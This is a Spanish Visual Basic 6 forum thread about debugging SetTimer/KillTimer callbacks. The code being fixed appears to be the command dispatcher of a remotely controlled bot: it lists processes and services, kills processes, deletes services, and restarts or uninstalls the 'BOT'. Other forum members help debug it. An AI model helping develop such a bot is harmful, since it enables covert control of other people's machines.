Visual Basic Foro
Programación => Visual Basic 6 => Mensaje iniciado por: illuminat3d en Septiembre 08, 2010, 09:55:13 pm
-
Bueno, me habian comentado sobre el Threading, para la ejecucion en otro hilo.. entonces me habian dicho que en visual basic se imita bien usando timers, para no estar poniendo millones de controles he querido usar estas APis, el problema es que hacen crashear facilmente el proyecto..
Aqui dejo un cacho de codigo..
Private Function set_Timer(ByVal s_Index As Integer)
Select Case s_Index
Case 1:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f1_Timer)
Case 2:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f2_Timer)
Case 3:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f3_Timer)
Case 4:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f4_Timer)
Case 5:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f5_Timer)
Case 6:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f6_Timer)
Case 7:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f7_Timer)
Case 8:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f8_Timer)
Case 9:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f9_Timer)
Case 10:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f10_Timer)
Case 11:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f11_Timer)
Case 12:
id_Timer(s_Index) = KillTimer(0, s_Index)
id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f12_Timer)
End Select
End Function
Private Function f1_Timer()
If p = 0 Then
Sender_Info (s_Chan)
id_Timer(1) = KillTimer(0, id_Timer(1))
End If
End Function
Private Function f2_Timer()
If p = 0 Then
Sender_TotalInfo (s_Chan)
id_Timer(2) = KillTimer(0, id_Timer(2))
End If
End Function
Private Function f3_Timer()
If p = 0 Then
Sender_Process (s_Chan)
id_Timer(3) = KillTimer(0, id_Timer(3))
End If
End Function
Private Function f4_Timer()
If p = 0 Then
Terminate_Process (Command(2))
id_Timer(4) = KillTimer(0, id_Timer(4))
End If
End Function
Private Function f5_Timer()
If p = 0 Then
Sender_Services (s_Chan)
id_Timer(5) = KillTimer(0, id_Timer(5))
End If
End Function
Private Function f6_Timer()
If p = 0 Then
Start_Service (Command(2))
id_Timer(6) = KillTimer(0, id_Timer(6))
End If
End Function
Private Function f7_Timer()
If p = 0 Then
Stop_Service (Command(2))
id_Timer(7) = KillTimer(0, id_Timer(7))
End If
End Function
Private Function f8_Timer()
If p = 0 Then
Delete_Service (Command(2))
id_Timer(8) = KillTimer(0, id_Timer(8))
End If
End Function
Private Function f9_Timer()
If p = 0 Then
Restart_BOT
id_Timer(9) = KillTimer(0, id_Timer(9))
End If
End Function
Private Function f10_Timer()
If p = 0 Then
Close_BOT
id_Timer(10) = KillTimer(0, id_Timer(10))
End If
End Function
Private Function f11_Timer()
If p = 0 Then
Uninstall_BOT
id_Timer(11) = KillTimer(0, id_Timer(11))
End If
End Function
Private Function f12_Timer()
If p = 0 Then
Sender_Windows (s_Chan)
id_Timer(12) = KillTimer(0, id_Timer(12))
End If
End Function
Me gustaria saber alguna forma de intentar evitar esos crashes..
Saludos!
-
Mira, para comenzar, las funciones "Callback" que vos usas ahi, no tienen parametros. Cuando el timer tiene q llamar a alguna de ellas, tiene 4 parametros en el stack, entonces tendrias que dejar asi:
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
...
End SubObviamente que tienen que estar en un modulo, asi el AddressOf funciona.
Creo que eso es el problema. Saludos
-
hola no es nesesario declarar varias funciones podes utilizar el parametro nIDEvent por ejemplo:
en un modulo .bas
Declare Function SetTimer Lib "user32.dll" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Public Function TimerProc(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Call KillTimer(hWnd, nIDEvent)
Select Case nIDEvent
Case 1
Call Sender_Info(s_Chan)
Case 2
Call Sender_TotalInfo(s_Chan)
Case 3
Call Sender_Process(s_Chan)
'etc
End Select
End Function
y luego llamas a casa pulso de esta forma con un itervalo de 10
para Sender_Info
SetTimer Me.hWnd, 1, 10, AddressOf TimerProc
para Sender_TotalInfo
SetTimer Me.hWnd, 2, 10, AddressOf TimerProc
fijate que el segundo parametro es el que se va modificando
Saludos.
-
Entiendo!, gracias a los dos :)
Edito :
Tengo un problema y es que el KillTimer no cierra el timer.
Select Case Command(1)
Case "info": i_Func = 1
Case "totalinfo": i_Func = 2
Case "process": i_Func = 3
Case "terminatep": i_Func = 4
Case "services": i_Func = 5
Case "starts": i_Func = 6
Case "stops": i_Func = 7
Case "deletes": i_Func = 8
Case "windows": i_Func = 9
Case "restart": i_Func = 10
Case "close": i_Func = 11
Case "uninstall": i_Func = 12
End Select
SetTimer frmMain.hWnd, i_Func, 1, AddressOf set_Timer
End With
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Call KillTimer(hWnd, nIDEvent)
Select Case nIDEvent
Case 1: Sender_Info (s_Chan)
Case 2: Sender_TotalInfo (s_Chan)
Case 3: Sender_Process (s_Chan)
Case 4: Terminate_Process (Command(2))
Case 5: Sender_Services (s_Chan)
Case 6: Start_Service (Command(2))
Case 7: Stop_Service (Command(2))
Case 8: Delete_Service (Command(2))
Case 9: Restart_BOT
Case 10: Close_BOT
Case 11: Uninstall_BOT
Case 12: Sender_Windows (s_Chan)
End Select
End Function
-
a perdon no savia esto
hWnd [In, opcional]
HWND
Un identificador de la ventana que se asocia con el temporizador . Esta ventana debe ser propiedad del subproceso de llamada . Si un valor NULL para hWnd se pasa junto a una nIDEvent de un temporizador existente, que con temporizador será reemplazada en la misma forma que una ya existente no NULL hWnd temporizador será.
nIDEvent [En ]
UINT_PTR
Un identificador de temporizador distinto de cero. Si el hWnd parámetro es NULL, y el nIDEvent no coincide con un temporizador existente, entonces se ignora y un nuevo programador de ID se genera. Si el hWnd parámetro no es NULL y la ventana especificada por hWnd ya dispone de un temporizador con el valor nIDEvent, Entonces el temporizador actual queda sustituido por el nuevo temporizador . ¿Cuándo SetTimer sustituye a un temporizador , el temporizador se restablece . Por lo tanto, un mensaje será enviado después de que transcurra el valor actual de tiempo de espera , pero el valor previamente fijado de tiempo de espera se ignora. Si la llamada no se pretende sustituir un contador de tiempo existentes, nIDEvent debe ser 0 si el hWnd es NULL .
osea que si se pasa el nIDEvent no es nesesario pasa un hwnd. por lo tanto
Select Case Command(1)
Case "info": i_Func = 1
Case "totalinfo": i_Func = 2
Case "process": i_Func = 3
Case "terminatep": i_Func = 4
Case "services": i_Func = 5
Case "starts": i_Func = 6
Case "stops": i_Func = 7
Case "deletes": i_Func = 8
Case "windows": i_Func = 9
Case "restart": i_Func = 10
Case "close": i_Func = 11
Case "uninstall": i_Func = 12
End Select
SetTimer 0&, i_Func, 1, AddressOf set_Timer
End With
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Call KillTimer(0&, nIDEvent)
Select Case nIDEvent
Case 1: Sender_Info (s_Chan)
Case 2: Sender_TotalInfo (s_Chan)
Case 3: Sender_Process (s_Chan)
Case 4: Terminate_Process (Command(2))
Case 5: Sender_Services (s_Chan)
Case 6: Start_Service (Command(2))
Case 7: Stop_Service (Command(2))
Case 8: Delete_Service (Command(2))
Case 9: Restart_BOT
Case 10: Close_BOT
Case 11: Uninstall_BOT
Case 12: Sender_Windows (s_Chan)
End Select
End Function
saludos.
-
Gracias por la constante ayuda Leandro, pero me pasa algo extraño, y es que el parametro nIDEvent no se asigna el ID que le pongo, por lo tanto no llega a hacer la funcion, el code es igual al que me has puesto..
Un saludo!
-
uff me hiso renegar, ayer me avia salido pero nose que hise, al final me di cuenta de que el id es el tercer parametro uElapse (hay algo raro en como esta declarado)
mira asi me funciona
Option Explicit
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Function TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Debug.Print uElapse
KillTimer hwnd, uElapse
End Function
Option Explicit
Private Sub Form_Load()
Dim ID As Long
ID = 10
Call SetTimer(Me.hwnd, ID, 10, AddressOf TimerProc)
End Sub
-
Que va seguimos en lo mismo, tengo todo declarado bien :
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Public i_Func as long
Call SetTimer(0&, i_Func, 1, AddressOf set_Timer)
Public Function set_Timer(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Call KillTimer(0&, nIDEvent)
Probe lo que pusistes pero lo vi ilógico, igualmente no me funcionó.. y asi como lo tengo ahora el parametro nIDEvent de la funcion set_Timer me devuelve : 32337... nada que ver con el valor de i_Func..
Un saludo!.
-
Fijate que como te puse anda bien(aunque no tenga logica)
Saludos.
-
Vale Leandro gracias, el error mio era que me faltaba declarar la función 'As Long'..
Un saludo! ;)